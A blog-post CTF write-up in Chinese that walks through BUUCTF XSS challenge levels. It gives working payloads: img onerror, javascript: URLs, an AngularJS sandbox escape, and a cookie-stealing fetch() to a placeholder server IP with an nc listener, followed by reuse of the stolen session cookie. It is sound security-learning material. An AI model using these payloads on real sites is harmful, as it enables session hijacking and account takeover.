XSS
例题
[第二章 web进阶]XSS闯关
题目链接:[BUUCTF在线评测](https://buuoj.cn/challenges#[第二章 web进阶]XSS闯关)
- 根据提示直接开始游戏,利用
alert
函数即可
非预期
既然知道是个闯关游戏,那我们直接试level
即可,到第七关的时候就有flag了
1 | n1book{xss_is_so_interesting} |
预期
- 第一关
直接利用script
标签加上alert
函数即可
1 | <script>alert("xss")</script> |
- 第二关
用同样的方法发现打不通了,于是看源代码,发现有下面一段加密
1 | </span></div></div></div></div></div></div> |
判断
location.search
参数:
1
2
3 if(location.search == ""){
location.search = "?username=xss"
}
- 如果 URL 中没有查询参数,自动追加
?username=xss
,将username
默认设置为xss
。变量声明:
1 var username = 'xss';
- 这里硬编码了一个变量
username
,值为'xss'
。DOM 操作:
1 document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
- 将
username
的值拼接到字符串中,并赋值给页面中id="ccc"
的元素。- 使用
escape()
对username
进行简单编码,试图减小注入的风险。漏洞:
escape()
并不是一种可靠的防护机制,尤其是针对现代浏览器。它无法编码
"
(双引号)或'
(单引号),也不会对 HTML 元素标签进行特殊处理。因此,如果用户通过 URL 参数注入类似以下内容,可能触发 XSS:
1 <script>alert('XSS');</script>
也就是说我们可以通过注释来绕过escape()
1 | username=';alert(1);' |
- 第三关
测试第二关的payload,发现不行,查看发送payload后源代码:
1 | <script type="text/javascript"> |
很明显可以发现'
被\转义了,那我们试试img
标签
1 | username=<img src=x onerror=alert(1)> |
onerror=alert(1)
:这是一个 事件处理器,当图片加载失败时,浏览器会触发onerror
中的代码
- 第四关
进来就在一直循环,查看源代码:
1 | <script type="text/javascript"> |
这段 JavaScript 实现了一个倒计时跳转功能,通过 URL 参数指定跳转的目标地址 (
jumpUrl
)。如果未提供jumpUrl
参数,则默认跳转到当前页面。
- 倒计时显示: 页面会显示倒计时,提示用户剩余的时间和即将跳转的目标地址。
- 跳转逻辑:
- 倒计时结束后,页面会跳转到指定的 URL。
使用第三关的payload无法达成目的,那就将jumpUrl直接复制一个javascript代码:
1 | jumpUrl=javascript:alert(1) |
- 第五关
查看源码:
1 | <script type="text/javascript"> |
代码流程
用户访问 URL,例如:
1 http://example.com/?autosubmit=true&action=http://malicious.com
autosubmit
参数存在且不为false
,触发表单自动提交逻辑。表单
action
被动态设置为http://malicious.com
。表单自动提交到指定的
action
URL。
那么很简单了,照着第四关直接写action
1 | autosubmit=true&action=javascript:alert(1) |
- 第六关
AngularJS XSS漏洞
参考文章:https://nosec.org/home/detail/4153.html
https://xz.aliyun.com/t/4638?time__1311=n4%2Bxni0Qi%3DY6DCDlxGrbDymDRiWCqj%3Djdx
查看源代码:
1 |
|
- 关键点其实是在上面的:
1 | <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> |
尝试输入一个{{2*2}}
,发现返回是4,说明可能有模板注入
根据参考文章找个payload直接一把梭
1 | username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
- 然后就有flag了
BUU XSS COURSE 1
- 进入网址发现登录不上,那么便从吐槽页面入手
- 照常先用简单的两个标签测试一下:
1 | <script>alert(1)</script> |
第一条语句没回显,但是第二个img
标签是有回显的,那么后面就拿img标签来写:
- 我们在云服务器先启一个监听,然后利用xss带出cookie看一看:
1 | nc -lvnp 8000 |
1 | <img src=x onerror="fetch('http://服务器ip:8000/?cookie='+document.cookie)"> |
这个payload的意思是:
onerror
事件触发:当图片加载失败时,触发onerror
事件。使用
fetch
发送数据:
fetch
是现代浏览器支持的简洁 API,可用于向服务器发送请求。document.cookie
直接获取当前页面的 Cookie。发送 Cookie 到你的服务器:
- 将
cookie
附加到 URL,便于你的服务器接收和记录。
- 我们查看服务器:
我们可以看到这个cookie是从当前web端获得的,可以猜测这是一个登录成功用户的cookie,下面的Referer
表示我们是从那个页面跳转过来的,我们去查看一下那个页面:
- 提醒我们没登陆,那么简单,我们抓包修改
cookie
为云服务器收到的cookie
即可:
为什么不在一个目录却用的是同一个cookie
- 标题: XSS
- 作者: D0wnBe@t
- 创建于 : 2024-11-20 21:16:38
- 更新于 : 2024-11-22 16:12:50
- 链接: http://downbeat.top/2024/11/20/XSS/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。